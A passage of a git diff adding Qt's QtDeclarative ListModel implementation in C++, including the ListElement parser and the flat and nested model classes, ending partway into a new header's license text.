+ The \a index must be an element in the list.
+
+ Note that properties of the returned object that are themselves objects
+ will also be models, and this get() method is used to access elements:
+
+ \code
+ fruitModel.append(..., "attributes":
+ [{"name":"spikes","value":"7mm"},
+ {"name":"color","value":"green"}]);
+ fruitModel.get(0).attributes.get(1).value; // == "green"
+ \endcode
+
+ \warning The returned object is not guaranteed to remain valid. It
+ should not be used in \l{Property Binding}{property bindings}.
+
+ \sa append()
+*/
+QScriptValue QDeclarativeListModel::get(int index) const
+{
+ // the internal flat/nested class checks for bad index
+ return m_flat ? m_flat->get(index) : m_nested->get(index);
+}
+
+/*!
+ \qmlmethod ListModel::set(int index, jsobject dict)
+
+ Changes the item at \a index in the list model with the
+ values in \a dict. Properties not appearing in \a dict
+ are left unchanged.
+
+ \code
+ fruitModel.set(3, {"cost": 5.95, "name":"Pizza"})
+ \endcode
+
+ If \a index is equal to count() then a new item is appended to the
+ list. Otherwise, \a index must be an element in the list.
+
+ \sa append()
+*/
+void QDeclarativeListModel::set(int index, const QScriptValue& valuemap)
+{
+ QList<int> roles;
+ set(index, valuemap, &roles);
+ if (!roles.isEmpty() && !inWorkerThread())
+ emit itemsChanged(index, 1, roles);
+}
+
+void QDeclarativeListModel::set(int index, const QScriptValue& valuemap, QList<int> *roles)
+{
+ if (!valuemap.isObject() || valuemap.isArray()) {
+ qmlInfo(this) << tr("set: value is not an object");
+ return;
+ }
+ if (index > count() || index < 0) {
+ qmlInfo(this) << tr("set: index %1 out of range").arg(index);
+ return;
+ }
+
+ if (index == count()) {
+ append(valuemap);
+ } else {
+ if (m_flat)
+ m_flat->set(index, valuemap, roles);
+ else
+ m_nested->set(index, valuemap, roles);
+ }
+}
+
+/*!
+ \qmlmethod ListModel::setProperty(int index, string property, variant value)
+
+ Changes the \a property of the item at \a index in the list model to \a value.
+
+ \code
+ fruitModel.setProperty(3, "cost", 5.95)
+ \endcode
+
+ The \a index must be an element in the list.
+
+ \sa append()
+*/
+void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value)
+{
+ QList<int> roles;
+ setProperty(index, property, value, &roles);
+ if (!roles.isEmpty() && !inWorkerThread())
+ emit itemsChanged(index, 1, roles);
+}
+
+void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles)
+{
+ if (count() == 0 || index >= count() || index < 0) {
+ qmlInfo(this) << tr("set: index %1 out of range").arg(index);
+ return;
+ }
+
+ if (m_flat)
+ m_flat->setProperty(index, property, value, roles);
+ else
+ m_nested->setProperty(index, property, value, roles);
+}
+
+/*!
+ \qmlmethod ListModel::sync()
+
+ Writes any unsaved changes to the list model after it has been modified
+ from a worker script.
+*/
+void QDeclarativeListModel::sync()
+{
+ // This is just a dummy method to make it look like sync() exists in
+ // ListModel (and not just QDeclarativeListModelWorkerAgent) and to let
+ // us document sync().
+ qmlInfo(this) << "List sync() can only be called from a WorkerScript";
+}
+
+bool QDeclarativeListModelParser::compileProperty(const QDeclarativeCustomParserProperty &prop, QList<ListInstruction> &instr, QByteArray &data)
+{
+ QList<QVariant> values = prop.assignedValues();
+ for(int ii = 0; ii < values.count(); ++ii) {
+ const QVariant &value = values.at(ii);
+
+ if(value.userType() == qMetaTypeId<QDeclarativeCustomParserNode>()) {
+ QDeclarativeCustomParserNode node =
+ qvariant_cast<QDeclarativeCustomParserNode>(value);
+
+ if (node.name() != listElementTypeName) {
+ const QMetaObject *mo = resolveType(node.name());
+ if (mo != &QDeclarativeListElement::staticMetaObject) {
+ error(node, QDeclarativeListModel::tr("ListElement: cannot contain nested elements"));
+ return false;
+ }
+ listElementTypeName = node.name(); // cache right name for next time
+ }
+
+ {
+ ListInstruction li;
+ li.type = ListInstruction::Push;
+ li.dataIdx = -1;
+ instr << li;
+ }
+
+ QList<QDeclarativeCustomParserProperty> props = node.properties();
+ for(int jj = 0; jj < props.count(); ++jj) {
+ const QDeclarativeCustomParserProperty &nodeProp = props.at(jj);
+ if (nodeProp.name().isEmpty()) {
+ error(nodeProp, QDeclarativeListModel::tr("ListElement: cannot contain nested elements"));
+ return false;
+ }
+ if (nodeProp.name() == "id") {
+ error(nodeProp, QDeclarativeListModel::tr("ListElement: cannot use reserved \"id\" property"));
+ return false;
+ }
+
+ ListInstruction li;
+ int ref = data.count();
+ data.append(nodeProp.name());
+ data.append('\0');
+ li.type = ListInstruction::Set;
+ li.dataIdx = ref;
+ instr << li;
+
+ if(!compileProperty(nodeProp, instr, data))
+ return false;
+
+ li.type = ListInstruction::Pop;
+ li.dataIdx = -1;
+ instr << li;
+ }
+
+ {
+ ListInstruction li;
+ li.type = ListInstruction::Pop;
+ li.dataIdx = -1;
+ instr << li;
+ }
+
+ } else {
+
+ QDeclarativeParser::Variant variant =
+ qvariant_cast<QDeclarativeParser::Variant>(value);
+
+ int ref = data.count();
+
+ QByteArray d;
+ d += char(variant.type()); // type tag
+ if (variant.isString()) {
+ d += variant.asString().toUtf8();
+ } else if (variant.isNumber()) {
+ d += QByteArray::number(variant.asNumber(),'g',20);
+ } else if (variant.isBoolean()) {
+ d += char(variant.asBoolean());
+ } else if (variant.isScript()) {
+ if (definesEmptyList(variant.asScript())) {
+ d[0] = char(QDeclarativeParser::Variant::Invalid); // marks empty list
+ } else {
+ QByteArray script = variant.asScript().toUtf8();
+ int v = evaluateEnum(script);
+ if (v<0) {
+ if (script.startsWith("QT_TR_NOOP(\"") && script.endsWith("\")")) {
+ d[0] = char(QDeclarativeParser::Variant::String);
+ d += script.mid(12,script.length()-14);
+ } else {
+ error(prop, QDeclarativeListModel::tr("ListElement: cannot use script for property value"));
+ return false;
+ }
+ } else {
+ d[0] = char(QDeclarativeParser::Variant::Number);
+ d += QByteArray::number(v);
+ }
+ }
+ }
+ d.append('\0');
+ data.append(d);
+
+ ListInstruction li;
+ li.type = ListInstruction::Value;
+ li.dataIdx = ref;
+ instr << li;
+ }
+ }
+
+ return true;
+}
+
+QByteArray QDeclarativeListModelParser::compile(const QList<QDeclarativeCustomParserProperty> &customProps)
+{
+ QList<ListInstruction> instr;
+ QByteArray data;
+ listElementTypeName = QByteArray(); // unknown
+
+ for(int ii = 0; ii < customProps.count(); ++ii) {
+ const QDeclarativeCustomParserProperty &prop = customProps.at(ii);
+ if(!prop.name().isEmpty()) { // isn't default property
+ error(prop, QDeclarativeListModel::tr("ListModel: undefined property '%1'").arg(QString::fromUtf8(prop.name())));
+ return QByteArray();
+ }
+
+ if(!compileProperty(prop, instr, data)) {
+ return QByteArray();
+ }
+ }
+
+ int size = sizeof(ListModelData) +
+ instr.count() * sizeof(ListInstruction) +
+ data.count();
+
+ QByteArray rv;
+ rv.resize(size);
+
+ ListModelData *lmd = (ListModelData *)rv.data();
+ lmd->dataOffset = sizeof(ListModelData) +
+ instr.count() * sizeof(ListInstruction);
+ lmd->instrCount = instr.count();
+ for (int ii = 0; ii < instr.count(); ++ii)
+ lmd->instructions()[ii] = instr.at(ii);
+ ::memcpy(rv.data() + lmd->dataOffset, data.constData(), data.count());
+
+ return rv;
+}
+
+void QDeclarativeListModelParser::setCustomData(QObject *obj, const QByteArray &d)
+{
+ QDeclarativeListModel *rv = static_cast<QDeclarativeListModel *>(obj);
+
+ ModelNode *root = new ModelNode(rv->m_nested);
+ rv->m_nested->m_ownsRoot = true;
+ rv->m_nested->_root = root;
+ QStack<ModelNode *> nodes;
+ nodes << root;
+
+ bool processingSet = false;
+
+ const ListModelData *lmd = (const ListModelData *)d.constData();
+ const char *data = ((const char *)lmd) + lmd->dataOffset;
+
+ for (int ii = 0; ii < lmd->instrCount; ++ii) {
+ const ListInstruction &instr = lmd->instructions()[ii];
+
+ switch(instr.type) {
+ case ListInstruction::Push:
+ {
+ ModelNode *n = nodes.top();
+ ModelNode *n2 = new ModelNode(rv->m_nested);
+ n->values << QVariant::fromValue(n2);
+ nodes.push(n2);
+ if (processingSet)
+ n->isArray = true;
+ }
+ break;
+
+ case ListInstruction::Pop:
+ nodes.pop();
+ break;
+
+ case ListInstruction::Value:
+ {
+ ModelNode *n = nodes.top();
+ switch (QDeclarativeParser::Variant::Type(data[instr.dataIdx])) {
+ case QDeclarativeParser::Variant::Invalid:
+ n->isArray = true;
+ break;
+ case QDeclarativeParser::Variant::Boolean:
+ n->values.append(bool(data[1 + instr.dataIdx]));
+ break;
+ case QDeclarativeParser::Variant::Number:
+ n->values.append(QByteArray(data + 1 + instr.dataIdx).toDouble());
+ break;
+ case QDeclarativeParser::Variant::String:
+ n->values.append(QString::fromUtf8(data + 1 + instr.dataIdx));
+ break;
+ default:
+ Q_ASSERT("Format error in ListInstruction");
+ }
+
+ processingSet = false;
+ }
+ break;
+
+ case ListInstruction::Set:
+ {
+ ModelNode *n = nodes.top();
+ ModelNode *n2 = new ModelNode(rv->m_nested);
+ n->properties.insert(QString::fromUtf8(data + instr.dataIdx), n2);
+ nodes.push(n2);
+ processingSet = true;
+ }
+ break;
+ }
+ }
+
+ ModelNode *rootNode = rv->m_nested->_root;
+ for (int i=0; i<rootNode->values.count(); ++i) {
+ ModelNode *node = qvariant_cast<ModelNode *>(rootNode->values[i]);
+ node->listIndex = i;
+ node->updateListIndexes();
+ }
+}
+
+bool QDeclarativeListModelParser::definesEmptyList(const QString &s)
+{
+ if (s.startsWith(QLatin1Char('[')) && s.endsWith(QLatin1Char(']'))) {
+ for (int i=1; i<s.length()-1; i++) {
+ if (!s[i].isSpace())
+ return false;
+ }
+ return true;
+ }
+ return false;
+}
+
+
+/*!
+ \qmlclass ListElement QDeclarativeListElement
+ \ingroup qml-working-with-data
+ \since 4.7
+ \brief The ListElement element defines a data item in a ListModel.
+
+ List elements are defined inside ListModel definitions, and represent items in a
+ list that will be displayed using ListView or \l Repeater items.
+
+ List elements are defined like other QML elements except that they contain
+ a collection of \e role definitions instead of properties. Using the same
+ syntax as property definitions, roles both define how the data is accessed
+ and include the data itself.
+
+ The names used for roles must begin with a lower-case letter and should be
+ common to all elements in a given model. Values must be simple constants; either
+ strings (quoted and optionally within a call to QT_TR_NOOP), boolean values
+ (true, false), numbers, or enumeration values (such as AlignText.AlignHCenter).
+
+ \section1 Referencing Roles
+
+ The role names are used by delegates to obtain data from list elements.
+ Each role name is accessible in the delegate's scope, and refers to the
+ corresponding role in the current element. Where a role name would be
+ ambiguous to use, it can be accessed via the \l{ListView::}{model}
+ property (e.g., \c{model.cost} instead of \c{cost}).
+
+ \section1 Example Usage
+
+ The following model defines a series of list elements, each of which
+ contain "name" and "cost" roles and their associated values.
+
+ \snippet doc/src/snippets/declarative/qml-data-models/listelements.qml model
+
+ The delegate obtains the name and cost for each element by simply referring
+ to \c name and \c cost:
+
+ \snippet doc/src/snippets/declarative/qml-data-models/listelements.qml view
+
+ \sa ListModel
+*/
+
+FlatListModel::FlatListModel(QDeclarativeListModel *base)
+ : m_scriptEngine(0), m_listModel(base), m_scriptClass(0), m_parentAgent(0)
+{
+}
+
+FlatListModel::~FlatListModel()
+{
+ qDeleteAll(m_nodeData);
+}
+
+QVariant FlatListModel::data(int index, int role) const
+{
+ Q_ASSERT(index >= 0 && index < m_values.count());
+ if (m_values[index].contains(role))
+ return m_values[index][role];
+ return QVariant();
+}
+
+QList<int> FlatListModel::roles() const
+{
+ return m_roles.keys();
+}
+
+QString FlatListModel::toString(int role) const
+{
+ if (m_roles.contains(role))
+ return m_roles[role];
+ return QString();
+}
+
+int FlatListModel::count() const
+{
+ return m_values.count();
+}
+
+void FlatListModel::clear()
+{
+ m_values.clear();
+
+ qDeleteAll(m_nodeData);
+ m_nodeData.clear();
+}
+
+void FlatListModel::remove(int index)
+{
+ m_values.removeAt(index);
+ removedNode(index);
+}
+
+bool FlatListModel::insert(int index, const QScriptValue &value)
+{
+ Q_ASSERT(index >= 0 && index <= m_values.count());
+
+ QHash<int, QVariant> row;
+ if (!addValue(value, &row, 0))
+ return false;
+
+ m_values.insert(index, row);
+ insertedNode(index);
+
+ return true;
+}
+
+QScriptValue FlatListModel::get(int index) const
+{
+ QScriptEngine *scriptEngine = m_scriptEngine ? m_scriptEngine : QDeclarativeEnginePrivate::getScriptEngine(qmlEngine(m_listModel));
+
+ if (!scriptEngine)
+ return 0;
+
+ if (index < 0 || index >= m_values.count())
+ return scriptEngine->undefinedValue();
+
+ FlatListModel *that = const_cast<FlatListModel*>(this);
+ if (!m_scriptClass)
+ that->m_scriptClass = new FlatListScriptClass(that, scriptEngine);
+
+ FlatNodeData *data = m_nodeData.value(index);
+ if (!data) {
+ data = new FlatNodeData(index);
+ that->m_nodeData.replace(index, data);
+ }
+
+ return QScriptDeclarativeClass::newObject(scriptEngine, m_scriptClass, new FlatNodeObjectData(data));
+}
+
+void FlatListModel::set(int index, const QScriptValue &value, QList<int> *roles)
+{
+ Q_ASSERT(index >= 0 && index < m_values.count());
+
+ QHash<int, QVariant> row = m_values[index];
+ if (addValue(value, &row, roles))
+ m_values[index] = row;
+}
+
+void FlatListModel::setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles)
+{
+ Q_ASSERT(index >= 0 && index < m_values.count());
+
+ QHash<QString, int>::Iterator iter = m_strings.find(property);
+ int role;
+ if (iter == m_strings.end()) {
+ role = m_roles.count();
+ m_roles.insert(role, property);
+ m_strings.insert(property, role);
+ } else {
+ role = iter.value();
+ }
+
+ if (m_values[index][role] != value) {
+ roles->append(role);
+ m_values[index][role] = value;
+ }
+}
+
+void FlatListModel::move(int from, int to, int n)
+{
+ qdeclarativelistmodel_move<QList<QHash<int, QVariant> > >(from, to, n, &m_values);
+ moveNodes(from, to, n);
+}
+
+bool FlatListModel::addValue(const QScriptValue &value, QHash<int, QVariant> *row, QList<int> *roles)
+{
+ QScriptValueIterator it(value);
+ while (it.hasNext()) {
+ it.next();
+ QScriptValue value = it.value();
+ if (!value.isVariant() && !value.isRegExp() && !value.isDate() && value.isObject()) {
+ qmlInfo(m_listModel) << "Cannot add list-type data when modifying or after modification from a worker script";
+ return false;
+ }
+
+ QString name = it.name();
+ QVariant v = it.value().toVariant();
+
+ QHash<QString, int>::Iterator iter = m_strings.find(name);
+ if (iter == m_strings.end()) {
+ int role = m_roles.count();
+ m_roles.insert(role, name);
+ iter = m_strings.insert(name, role);
+ if (roles)
+ roles->append(role);
+ } else {
+ int role = iter.value();
+ if (roles && row->contains(role) && row->value(role) != v)
+ roles->append(role);
+ }
+ row->insert(*iter, v);
+ }
+ return true;
+}
+
+void FlatListModel::insertedNode(int index)
+{
+ if (index >= 0 && index <= m_values.count()) {
+ m_nodeData.insert(index, 0);
+
+ for (int i=index + 1; i<m_nodeData.count(); i++) {
+ if (m_nodeData[i])
+ m_nodeData[i]->index = i;
+ }
+ }
+}
+
+void FlatListModel::removedNode(int index)
+{
+ if (index >= 0 && index < m_nodeData.count()) {
+ delete m_nodeData.takeAt(index);
+
+ for (int i=index; i<m_nodeData.count(); i++) {
+ if (m_nodeData[i])
+ m_nodeData[i]->index = i;
+ }
+ }
+}
+
+void FlatListModel::moveNodes(int from, int to, int n)
+{
+ if (!m_listModel->canMove(from, to, n))
+ return;
+
+ qdeclarativelistmodel_move<QList<FlatNodeData *> >(from, to, n, &m_nodeData);
+
+ for (int i=from; i<from + (to-from); i++) {
+ if (m_nodeData[i])
+ m_nodeData[i]->index = i;
+ }
+}
+
+
+
+FlatNodeData::~FlatNodeData()
+{
+ for (QSet<FlatNodeObjectData *>::Iterator iter = objects.begin(); iter != objects.end(); ++iter) {
+ FlatNodeObjectData *data = *iter;
+ data->nodeData = 0;
+ }
+}
+
+void FlatNodeData::addData(FlatNodeObjectData *data)
+{
+ objects.insert(data);
+}
+
+void FlatNodeData::removeData(FlatNodeObjectData *data)
+{
+ objects.remove(data);
+}
+
+
+FlatListScriptClass::FlatListScriptClass(FlatListModel *model, QScriptEngine *seng)
+ : QScriptDeclarativeClass(seng),
+ m_model(model)
+{
+}
+
+QScriptDeclarativeClass::Value FlatListScriptClass::property(Object *obj, const Identifier &name)
+{
+ FlatNodeObjectData *objData = static_cast<FlatNodeObjectData*>(obj);
+ if (!objData->nodeData) // item at this index has been deleted
+ return QScriptDeclarativeClass::Value(engine(), engine()->undefinedValue());
+
+ int index = objData->nodeData->index;
+ QString propName = toString(name);
+ int role = m_model->m_strings.value(propName, -1);
+
+ if (role >= 0 && index >=0 ) {
+ const QHash<int, QVariant> &row = m_model->m_values[index];
+ QScriptValue sv = engine()->toScriptValue<QVariant>(row[role]);
+ return QScriptDeclarativeClass::Value(engine(), sv);
+ }
+
+ return QScriptDeclarativeClass::Value(engine(), engine()->undefinedValue());
+}
+
+void FlatListScriptClass::setProperty(Object *obj, const Identifier &name, const QScriptValue &value)
+{
+ if (!value.isVariant() && !value.isRegExp() && !value.isDate() && value.isObject()) {
+ qmlInfo(m_model->m_listModel) << "Cannot add list-type data when modifying or after modification from a worker script";
+ return;
+ }
+
+ FlatNodeObjectData *objData = static_cast<FlatNodeObjectData*>(obj);
+ if (!objData->nodeData) // item at this index has been deleted
+ return;
+
+ int index = objData->nodeData->index;
+ QString propName = toString(name);
+
+ int role = m_model->m_strings.value(propName, -1);
+ if (role >= 0 && index >= 0) {
+ QHash<int, QVariant> &row = m_model->m_values[index];
+ row[role] = value.toVariant();
+
+ QList<int> roles;
+ roles << role;
+ if (m_model->m_parentAgent) {
+ // This is the list in the worker thread, so tell the agent to
+ // emit itemsChanged() later
+ m_model->m_parentAgent->changedData(index, 1, roles);
+ } else {
+ // This is the list in the main thread, so emit itemsChanged()
+ emit m_model->m_listModel->itemsChanged(index, 1, roles);
+ }
+ }
+}
+
+QScriptClass::QueryFlags FlatListScriptClass::queryProperty(Object *, const Identifier &, QScriptClass::QueryFlags)
+{
+ return (QScriptClass::HandlesReadAccess | QScriptClass::HandlesWriteAccess);
+}
+
+bool FlatListScriptClass::compare(Object *obj1, Object *obj2)
+{
+ FlatNodeObjectData *data1 = static_cast<FlatNodeObjectData*>(obj1);
+ FlatNodeObjectData *data2 = static_cast<FlatNodeObjectData*>(obj2);
+
+ if (!data1->nodeData || !data2->nodeData)
+ return false;
+
+ return data1->nodeData->index == data2->nodeData->index;
+}
+
+
+
+NestedListModel::NestedListModel(QDeclarativeListModel *base)
+ : _root(0), m_ownsRoot(false), m_listModel(base), _rolesOk(false)
+{
+}
+
+NestedListModel::~NestedListModel()
+{
+ if (m_ownsRoot)
+ delete _root;
+}
+
+QVariant NestedListModel::valueForNode(ModelNode *node, bool *hasNested) const
+{
+ QObject *rv = 0;
+ if (hasNested)
+ *hasNested = false;
+
+ if (node->isArray) {
+ // List
+ rv = node->model(this);
+ if (hasNested)
+ *hasNested = true;
+ } else {
+ if (!node->properties.isEmpty()) {
+ // Object
+ rv = node->object(this);
+ } else if (node->values.count() == 0) {
+ // Invalid
+ return QVariant();
+ } else if (node->values.count() == 1) {
+ // Value
+ QVariant &var = node->values[0];
+ ModelNode *valueNode = qvariant_cast<ModelNode *>(var);
+ if (valueNode) {
+ if (!valueNode->properties.isEmpty())
+ rv = valueNode->object(this);
+ else
+ rv = valueNode->model(this);
+ } else {
+ return var;
+ }
+ }
+ }
+
+ if (rv) {
+ return QVariant::fromValue(rv);
+ } else {
+ return QVariant();
+ }
+}
+
+QHash<int,QVariant> NestedListModel::data(int index, const QList<int> &roles, bool *hasNested) const
+{
+ Q_ASSERT(_root && index >= 0 && index < _root->values.count());
+ checkRoles();
+ QHash<int, QVariant> rv;
+
+ ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
+ if (!node)
+ return rv;
+
+ for (int ii = 0; ii < roles.count(); ++ii) {
+ const QString &roleString = roleStrings.at(roles.at(ii));
+
+ QHash<QString, ModelNode *>::ConstIterator iter = node->properties.find(roleString);
+ if (iter != node->properties.end()) {
+ ModelNode *row = *iter;
+ rv.insert(roles.at(ii), valueForNode(row, hasNested));
+ }
+ }
+
+ return rv;
+}
+
+QVariant NestedListModel::data(int index, int role) const
+{
+ Q_ASSERT(_root && index >= 0 && index < _root->values.count());
+ checkRoles();
+ QVariant rv;
+ if (roleStrings.count() < role)
+ return rv;
+
+ ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
+ if (!node)
+ return rv;
+
+ const QString &roleString = roleStrings.at(role);
+
+ QHash<QString, ModelNode *>::ConstIterator iter = node->properties.find(roleString);
+ if (iter != node->properties.end()) {
+ ModelNode *row = *iter;
+ rv = valueForNode(row);
+ }
+
+ return rv;
+}
+
+int NestedListModel::count() const
+{
+ if (!_root) return 0;
+ return _root->values.count();
+}
+
+void NestedListModel::clear()
+{
+ if (_root)
+ _root->clear();
+}
+
+void NestedListModel::remove(int index)
+{
+ if (!_root)
+ return;
+ ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
+ _root->values.removeAt(index);
+ if (node)
+ delete node;
+}
+
+bool NestedListModel::insert(int index, const QScriptValue& valuemap)
+{
+ if (!_root) {
+ _root = new ModelNode(this);
+ m_ownsRoot = true;
+ }
+
+ ModelNode *mn = new ModelNode(this);
+ mn->listIndex = index;
+ mn->setObjectValue(valuemap);
+ _root->values.insert(index,QVariant::fromValue(mn));
+ return true;
+}
+
+void NestedListModel::move(int from, int to, int n)
+{
+ if (!_root)
+ return;
+ qdeclarativelistmodel_move<QVariantList>(from, to, n, &_root->values);
+}
+
+QScriptValue NestedListModel::get(int index) const
+{
+ QDeclarativeEngine *eng = qmlEngine(m_listModel);
+ if (!eng)
+ return 0;
+
+ if (index < 0 || index >= count()) {
+ QScriptEngine *seng = QDeclarativeEnginePrivate::getScriptEngine(eng);
+ if (seng)
+ return seng->undefinedValue();
+ return 0;
+ }
+
+ ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
+ if (!node)
+ return 0;
+
+ return QDeclarativeEnginePrivate::qmlScriptObject(node->object(this), eng);
+}
+
+void NestedListModel::set(int index, const QScriptValue& valuemap, QList<int> *roles)
+{
+ Q_ASSERT(index >=0 && index < count());
+
+ ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
+ bool emitItemsChanged = node->setObjectValue(valuemap);
+ if (!emitItemsChanged)
+ return;
+
+ QScriptValueIterator it(valuemap);
+ while (it.hasNext()) {
+ it.next();
+ int r = roleStrings.indexOf(it.name());
+ if (r < 0) {
+ r = roleStrings.count();
+ roleStrings << it.name();
+ }
+ roles->append(r);
+ }
+}
+
+void NestedListModel::setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles)
+{
+ Q_ASSERT(index >=0 && index < count());
+
+ ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
+ bool emitItemsChanged = node->setProperty(property, value);
+ if (!emitItemsChanged)
+ return;
+
+ int r = roleStrings.indexOf(property);
+ if (r < 0) {
+ r = roleStrings.count();
+ roleStrings << property;
+ }
+ roles->append(r);
+}
+
+void NestedListModel::checkRoles() const
+{
+ if (_rolesOk || !_root)
+ return;
+
+ for (int i = 0; i<_root->values.count(); ++i) {
+ ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(i));
+ if (node) {
+ foreach (const QString &role, node->properties.keys()) {
+ if (!roleStrings.contains(role))
+ roleStrings.append(role);
+ }
+ }
+ }
+
+ _rolesOk = true;
+}
+
+QList<int> NestedListModel::roles() const
+{
+ checkRoles();
+ QList<int> rv;
+ for (int ii = 0; ii < roleStrings.count(); ++ii)
+ rv << ii;
+ return rv;
+}
+
+QString NestedListModel::toString(int role) const
+{
+ checkRoles();
+ if (role < roleStrings.count())
+ return roleStrings.at(role);
+ else
+ return QString();
+}
+
+
+ModelNode::ModelNode(NestedListModel *model)
+: modelCache(0), objectCache(0), isArray(false), m_model(model), listIndex(-1)
+{
+}
+
+ModelNode::~ModelNode()
+{
+ clear();
+ if (modelCache) { modelCache->m_nested->_root = 0/* ==this */; delete modelCache; modelCache = 0; }
+ if (objectCache) { delete objectCache; objectCache = 0; }
+}
+
+void ModelNode::clear()
+{
+ ModelNode *node;
+ for (int ii = 0; ii < values.count(); ++ii) {
+ node = qvariant_cast<ModelNode *>(values.at(ii));
+ if (node) { delete node; node = 0; }
+ }
+ values.clear();
+
+ qDeleteAll(properties.values());
+ properties.clear();
+}
+
+bool ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache)
+{
+ bool emitItemsChanged = false;
+
+ QScriptValueIterator it(valuemap);
+ while (it.hasNext()) {
+ it.next();
+ ModelNode *prev = properties.value(it.name());
+ ModelNode *value = new ModelNode(m_model);
+ QScriptValue v = it.value();
+
+ if (v.isArray()) {
+ value->isArray = true;
+ value->setListValue(v);
+ if (writeToCache && objectCache)
+ objectCache->setValue(it.name().toUtf8(), QVariant::fromValue(value->model(m_model)));
+ emitItemsChanged = true; // for now, too inefficient to check whether list and sublists have changed
+ } else {
+ value->values << v.toVariant();
+ if (writeToCache && objectCache)
+ objectCache->setValue(it.name().toUtf8(), value->values.last());
+ if (!emitItemsChanged && prev && prev->values.count() == 1
+ && prev->values[0] != value->values.last()) {
+ emitItemsChanged = true;
+ }
+ }
+ if (properties.contains(it.name()))
+ delete properties[it.name()];
+ properties.insert(it.name(), value);
+ }
+ return emitItemsChanged;
+}
+
+void ModelNode::setListValue(const QScriptValue& valuelist) {
+ values.clear();
+ int size = valuelist.property(QLatin1String("length")).toInt32();
+ for (int i=0; i<size; i++) {
+ ModelNode *value = new ModelNode(m_model);
+ QScriptValue v = valuelist.property(i);
+ if (v.isArray()) {
+ value->isArray = true;
+ value->setListValue(v);
+ } else if (v.isObject()) {
+ value->listIndex = i;
+ value->setObjectValue(v);
+ } else {
+ value->listIndex = i;
+ value->values << v.toVariant();
+ }
+ values.append(QVariant::fromValue(value));
+ }
+}
+
+bool ModelNode::setProperty(const QString& prop, const QVariant& val) {
+ QHash<QString, ModelNode *>::const_iterator it = properties.find(prop);
+ bool emitItemsChanged = false;
+ if (it != properties.end()) {
+ if (val != (*it)->values[0])
+ emitItemsChanged = true;
+ (*it)->values[0] = val;
+ } else {
+ ModelNode *n = new ModelNode(m_model);
+ n->values << val;
+ properties.insert(prop,n);
+ }
+ if (objectCache)
+ objectCache->setValue(prop.toUtf8(), val);
+ return emitItemsChanged;
+}
+
+void ModelNode::updateListIndexes()
+{
+ for (QHash<QString, ModelNode *>::ConstIterator iter = properties.begin(); iter != properties.end(); ++iter) {
+ ModelNode *node = iter.value();
+ if (node->isArray) {
+ for (int i=0; i<node->values.count(); ++i) {
+ ModelNode *subNode = qvariant_cast<ModelNode *>(node->values.at(i));
+ if (subNode)
+ subNode->listIndex = i;
+ }
+ }
+ node->updateListIndexes();
+ }
+}
+
+/*
+ Need to call this to emit itemsChanged() for modifications outside of set()
+ and setProperty(), i.e. if an item returned from get() is modified
+*/
+void ModelNode::changedProperty(const QString &name) const
+{
+ if (listIndex < 0)
+ return;
+
+ m_model->checkRoles();
+ QList<int> roles;
+ int role = m_model->roleStrings.indexOf(name);
+ if (role < 0)
+ roles = m_model->roles();
+ else
+ roles << role;
+ emit m_model->m_listModel->itemsChanged(listIndex, 1, roles);
+}
+
+void ModelNode::dump(ModelNode *node, int ind)
+{
+ QByteArray indentBa(ind * 4, ' ');
+ const char *indent = indentBa.constData();
+
+ for (int ii = 0; ii < node->values.count(); ++ii) {
+ ModelNode *subNode = qvariant_cast<ModelNode *>(node->values.at(ii));
+ if (subNode) {
+ qWarning().nospace() << indent << "Sub-node " << ii;
+ dump(subNode, ind + 1);
+ } else {
+ qWarning().nospace() << indent << "Sub-node " << ii << ": " << node->values.at(ii).toString();
+ }
+ }
+
+ for (QHash<QString, ModelNode *>::ConstIterator iter = node->properties.begin(); iter != node->properties.end(); ++iter) {
+ qWarning().nospace() << indent << "Property " << iter.key() << ':';
+ dump(iter.value(), ind + 1);
+ }
+}
+
+ModelObject::ModelObject(ModelNode *node, NestedListModel *model, QScriptEngine *seng)
+ : m_model(model),
+ m_node(node),
+ m_meta(new ModelNodeMetaObject(seng, this))
+{
+}
+
+void ModelObject::setValue(const QByteArray &name, const QVariant &val)
+{
+ m_meta->setValue(name, val);
+ //setProperty(name.constData(), val);
+}
+
+void ModelObject::setNodeUpdatesEnabled(bool enable)
+{
+ m_meta->m_enabled = enable;
+}
+
+
+ModelNodeMetaObject::ModelNodeMetaObject(QScriptEngine *seng, ModelObject *object)
+ : QDeclarativeOpenMetaObject(object),
+ m_enabled(false),
+ m_seng(seng),
+ m_obj(object)
+{
+}
+
+void ModelNodeMetaObject::propertyWritten(int index)
+{
+ if (!m_enabled)
+ return;
+
+ QString propName = QString::fromUtf8(name(index));
+ QVariant value = operator[](index);
+
+ QScriptValue sv = m_seng->newObject();
+ sv.setProperty(propName, m_seng->newVariant(value));
+ bool changed = m_obj->m_node->setObjectValue(sv, false);
+ if (changed)
+ m_obj->m_node->changedProperty(propName);
+}
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativelistmodel_p.h b/src/declarative/util/qdeclarativelistmodel_p.h
new file mode 100644
index 00000000..716837f0
--- /dev/null
+++ b/src/declarative/util/qdeclarativelistmodel_p.h
@@ -0,0 +1,158 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
